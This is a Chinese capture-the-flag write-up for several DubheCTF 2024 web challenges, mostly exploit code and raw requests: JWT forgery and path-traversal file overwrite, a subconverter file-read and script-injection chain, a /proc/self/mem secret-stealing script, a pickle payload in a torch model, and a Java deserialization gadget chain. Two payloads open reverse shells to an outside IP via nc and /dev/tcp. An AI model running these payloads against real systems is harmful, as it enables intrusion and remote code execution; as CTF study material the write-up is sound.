DubheCTF

2024

Posted by lyk on March 18, 2024

0x01 Wecat

伪造一下 jwt,本地看 admin 的 uid 是 admin@wecat.com。

  getToken (uid) {
    return jwt.sign({ // 生成token
      exp: Math.floor(Date.now() / 1000) + (60 * 60), // token十五分钟过期
      data: `${uid}pass`
    }, 'shhhhh')
  }

后端是 dev 启动的,可以覆盖源码达到实时修改的目的。

POST /wechatAPI/upload/once HTTP/1.1
Host: 1.95.54.149:41705
Content-Length: 1277
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1MWw8rv9Mkc9QBUn
sec-ch-ua-mobile: ?0
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjk3MTA1NjIyNTMsImRhdGEiOiJhZG1pbkB3ZWNhdC5jb21wYXNzIiwiaWF0IjoxNzEwNTU4NjUzfQ.uh03vxCqIqSrrK1sWCeJJMBmLPM4Tvfehqz7dm5f-tw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:8088
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8088/home
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: loginstate=true; userid=864f70fe-1761-4cb0-964a-cdce2513aa29; indent_type=space; space_units=4; keymap=sublime; csrftoken=M9nS9TyIl9vOZ69O8LFZ4XCP0txKAAELSXQIr3BEHljI6TxWxkLZtlJa7NOTmTlv
Connection: close

------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: application/octet-stream

const router = require('@koa/router')()
const { exec } = require('child_process');

router.get('/wechatAPI/flag', (ctx) => {
    var flag = child_process.execFileSync("/readflag").toString()
    ctx.status = 200
    ctx.body = {
        msg: flag
    }
})
module.exports = router.routes()
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="hash"

12dd8536da18ed8b8b8b5e55cd19b112
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="postfix"

/../../../../../../app/src/route/flag.js
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="chunkIndex"

1
------WebKitFormBoundary1MWw8rv9Mkc9QBUn
Content-Disposition: form-data; name="chunksTotal"

1
------WebKitFormBoundary1MWw8rv9Mkc9QBUn--

###

0x02 Master of Profile

https://github.com/tindy2013/subconverter 0DAY

以前有一场比赛出过这个工具的 0DAY : WMCTF2022 subconverter

https://rce.moe/2022/08/23/WMCTF-2022-WRITEUP/#subconverter

任意文件读取,可以读配置文件

http://1.95.13.243:49319/getlocal?path=/app/pref.yml

可以拿到一个 token

同时看到没有打开 cache 功能

image-20240319155628158

法1

需要找另一个文件写入点

POST http://1.95.13.243:49319/updateconf?token=189069462103782304169366230&type=direct HTTP/1.1
Content-Type: text/plain
User-Agent: PostmanRuntime/7.36.3
Accept: */*
Postman-Token: 3d2bff18-43e5-4bdf-9eb7-663b4213e438
Host: 1.95.13.243:49319
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 117

function parse(x) {
  console.log("success");
  os.exec(["/usr/bin/nc", "8.134.216.221", "7777", "-e", "/bin/sh"]);
}

弹 shell

http://1.95.13.243:49319/sub?target=clash&url=script:pref.yml&token=189069462103782304169366230

法2

把enable_cache改成true

用nday打

0x03 VulnTagger

【VulnTagger新增提示】 1. 本题为传统Web题,不包含AI元素,请放心食用 2. 背景图片挺好看的,看看它从哪来? 3. 版本控制工具是个好东西,出题人很喜欢用。

根据提示开始脑洞,githack dump 源码

image-20240319163532801

image-20240319163609215

通过 range: bytes={start}-{end} 来读取 mem 中的密钥,伪造成 admin 上传 pt 文件,之后 torch load 的时候触发 pickle 反序列化。

密钥的特征不好识别,22 位长度的大小写数字太常见了,于是读了一下解 cookie 的代码改了改,一边读 mem,一边解 cookie,成功就退出。

import json
import re
import time
from base64 import b64encode

import itsdangerous
import requests


def parse_maps_file(maps_file):
    readable_regions = []
    url = "http://1.95.11.7:40721/static/..%2F..%2F..%2F..%2F..%2Fproc/self/maps"
    r = requests.get(url)
    time.sleep(1)
    text = r.text
    with open("maps", 'w') as f:
        f.write(text)
    with open(maps_file, 'r') as file:
        for line in file:
            parts = line.split()
            if 'r' in parts[1]:  # 检查权限字段是否包含 'rw'
                addresses = parts[0].split('-')
                start = int(addresses[0], 16)  # 将十六进制地址转换为十进制
                end = int(addresses[1], 16)  # 将十六进制地址转换为十进制
                readable_regions.append((start, end))
    return readable_regions


def contains_required_characters(text):
    # 包含至少一个大写字母、一个小写字母和一个数字
    pattern = r'^(?=.*[A-Z])(?=.*[a-z])(?=.*\d).+$'
    return re.match(pattern, text) is not None


def contains_blacklist(text, blacklist):
    return not any(word.lower() in text.lower() for word in blacklist)


class StorageSession:
    def __init__(self, signed_value):
        self.signed_value = signed_value

    def crack(self, secret_key):
        data = ""
        try:
            max_age = 14 * 24 * 60 * 60
            # secret_key = "M31-58Xdiz-sje2EUsUZEQ"
            signer = itsdangerous.TimestampSigner(str(secret_key))
            data = signer.unsign(
                signed_value=self.signed_value,
                max_age=max_age)
            print(data)
        except:
            pass
        return data


def get_cookie():
    # 获取 cookie
    burp0_url = "http://1.95.11.7:40721/admin"
    burp0_cookies = {
        "session": "eyJpZCI6ICIwOGZhZTIzOC1mNzE1LTQ5MDEtOTk3MS1iNDVjMDk2MTVhOGQiLCAiaXNfYWRtaW4iOiB0cnVlfQ==.ZfXARQ.dH3mLf_-51c-fK4ZKJw3d1k3o3M"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
                     "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
                     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
                     "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
                     "Connection": "close"}
    r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)

    s = r.headers['set-cookie'].split(";")[0].split("session=")[1]
    return s

def get_admin(secret_key):
    max_age = 14 * 24 * 60 * 60
    # secret_key = "nD5hTi6WkUNacMt6V9wUtA"
    signer = itsdangerous.TimestampSigner(str(secret_key))
    data = b64encode(
        json.dumps({"id": "08fae238-f715-4901-9971-b45c09615a8d", "is_admin": True}).encode(
            "utf-8"))
    data = signer.sign(data)
    print(data)
    return data


def main():
    found = False
    maps_file = 'maps'
    readable_regions = parse_maps_file(maps_file)
    url = "http://1.95.11.7:40721/static/..%2F..%2F..%2F..%2F..%2Fproc/self/mem"
    maps_reg = r'([A-Za-z0-9_\-]{22})'
	# 一边测试代码一边顺便加了几条黑名单来加速,也没有问题都不大,就是慢点
    blacklist = ["Processing", "function", "Socket", "plotly", "context", "Register", "differentiable", "stream",
                 "money", "system", "error", "file", "counted", "directory", "Password", "Request", "Params", "Base",
                 "sqlite", "abcdef", "0123456", "get", "name", "size", "pool"]
    storage_session = StorageSession(get_cookie())
    for start, end in readable_regions:
        # 退出多重循环
        if found:
            break
        header = {"range": f"bytes={start}-{end}"}
        try:
            r = requests.get(url, headers=header, timeout=20000)
            print(header, r.status_code)
            secret = set(re.findall(maps_reg, r.text))
            for i in secret:
                if contains_required_characters(i) and contains_blacklist(i, blacklist):
                    data = storage_session.crack(i)
                    print(f"{start}-{end} contains matching pattern: {i}")
                    if data != "" and data is not None:
                        # 然后伪造 admin
                        admin = get_admin(i)
                        print(f"foundfoundfound!!! ---- {data} ---- {i} ---- {admin}")

                        # 退出多重循环
                        found = True
            if r.status_code == 206:
                with open(f"mems/{start}-{end}", 'wb') as f:
                    f.write(r.content)
            time.sleep(1)
        except:
            continue


if __name__ == '__main__':
    main()

Pickle 反序列化的时候,exec 执行一段 python 代码,新建一个 @app.post("/") 路由(相当于内存马?

将 bot 发送的东西都写到一个文件里,弹 shell 进去 cat 看看即可

import io
import json
import base64

import torch
import matplotlib
import matplotlib.image

args = """

from nicegui import app
from starlette.requests import Request

@app.post("/")
async def index_post(request: Request):
    import hashlib
    from starlette.responses import JSONResponse
    headers = request.headers
    x_pow_token = headers.get("x-pow-token", "0")
    x_pow_difficulty = int(headers.get("x-pow-difficulty", "0"))
    res = str(headers)
    open("/tmp/test", "ab+").write(res.encode())
    prefix = "0" * x_pow_difficulty
    nonce = 0
    while True:
        data = f"{nonce}"
        hex_digest = hashlib.sha256((x_pow_token + data).encode()).hexdigest()
        if hex_digest.startswith(prefix):
            return JSONResponse(status_code=418, content={"bar": data})
        nonce += 1

"""

class Exploit(object):
    def __reduce__(self):
        return (exec, (args,))

torch.save(Exploit(), "InjectModel", _use_new_zipfile_serialization=False)

image-20240319164009226

0x04 Javolution

游戏逻辑有一个负数溢出?反正打败恶龙了.jpg

http://1.95.54.152:34473/pal/cheat?hp=-1000000000&attack=-1000000000&defense=-1000000000

image-20240319165321684

然后 level 变 50

可以在路由 /pal/cheat 进行反序列化

之后有一个 RCE,参考这篇论文,,,,,,

https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf

https://github.com/luelueking/Deserial_Sink_With_JDBC

差不多是这样打,会有一点bug,起了docker之后才改清楚的

Jdk 17 反序列化

--add-opens java.xml/``com.sun.org``.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED
import com.fasterxml.jackson.databind.node.POJONode;
import com.teradata.jdbc.TeraConnectionPoolDataSource;
import com.teradata.jdbc.TeraDataSource;
import com.teradata.jdbc.TeraDataSourceBase;
import com.teradata.jdbc.TeraPooledConnection;
import org.assertj.core.util.xml.XmlStringPrettyFormatter;
import org.dubhe.javolution.pool.PalDataSource;
import org.mockito.internal.matchers.Equals;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.util.*;

public class exp {
    public static void main(String[] args) throws Exception {
//        com.sun.org.apache.xpath.internal.objects.XString
                // --add-opens java.xml/com.sun.org.apache.xpath.internal=ALL-UNNAMED
        final ArrayList<Class> classes = new ArrayList<>();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        classes.add(Class.forName("java.util.HashMap"));
        classes.add(Class.forName("java.util.Properties"));
        classes.add(Class.forName("java.util.PriorityQueue"));
        classes.add(Class.forName("com.teradata.jdbc.TeraDataSource"));
        classes.add(Class.forName("javax.management.BadAttributeValueExpException"));
        classes.add(Class.forName("com.sun.org.apache.xpath.internal.objects.XString"));
        classes.add(Class.forName("java.util.HashMap$Node"));
        classes.add(Class.forName("com.fasterxml.jackson.databind.node.POJONode"));
//        classes.add(Class.forName("java.xml.*"));

        new exp().bypassModule(classes);

        TeraDataSource dataSource = new PalDataSource();
        dataSource.setBROWSER("bash -c /readflag>&/dev/tcp/8.134.216.221/7777");
        dataSource.setLOGMECH("BROWSER");
        dataSource.setDSName("8.134.216.221");
        dataSource.setDbsPort("10250");

        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = dataSource.getClass().getModule();
        Class currentClass = PriorityQueue.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);

        Class<?> clazz =
                Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(dataSource);
        InvocationHandler handler = (InvocationHandler)
                cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]
                {DataSource.class}, handler);
        POJONode pojoNode = new POJONode(proxyObj);

//        POJONode pojoNode = new POJONode(dataSource);
//        pojoNode.toString();

        // com.sun.org.apache.xpath.internal.objects
        Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
        Constructor constructor = cls.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        Object xString = constructor.newInstance("1");

        HashMap hashMap = makeMap(xString,pojoNode);

        serialize(hashMap);
//        unserialize("ser.bin");

    }
    public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception {
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(obj2);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(obj1);

        HashMap<Object, Object> s = new HashMap<>();
        setFiledValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFiledValue(s, "table", tbl);

        return s;
    }
    public static void setFiledValue(Object obj, String key, Object val) throws Exception {
        Field field ;
        try{
            field = obj.getClass().getDeclaredField(key);
        }catch(Exception e){
            if (obj.getClass().getSuperclass() != null)
                field = obj.getClass().getSuperclass().getDeclaredField(key);
            else {
                return;
            }
        }
        field.setAccessible(true);
        field.set(obj,val);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        Object obj = ois.readObject();
    }

    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
                        unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static Method getMethod(Class clazz, String methodName, Class[] params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
}

image-20240319165446050

0x05 Tagebuch

0x06 Fastest Encoder

DubheCTF2024 WP by V&N.pdf (wm-team.cn)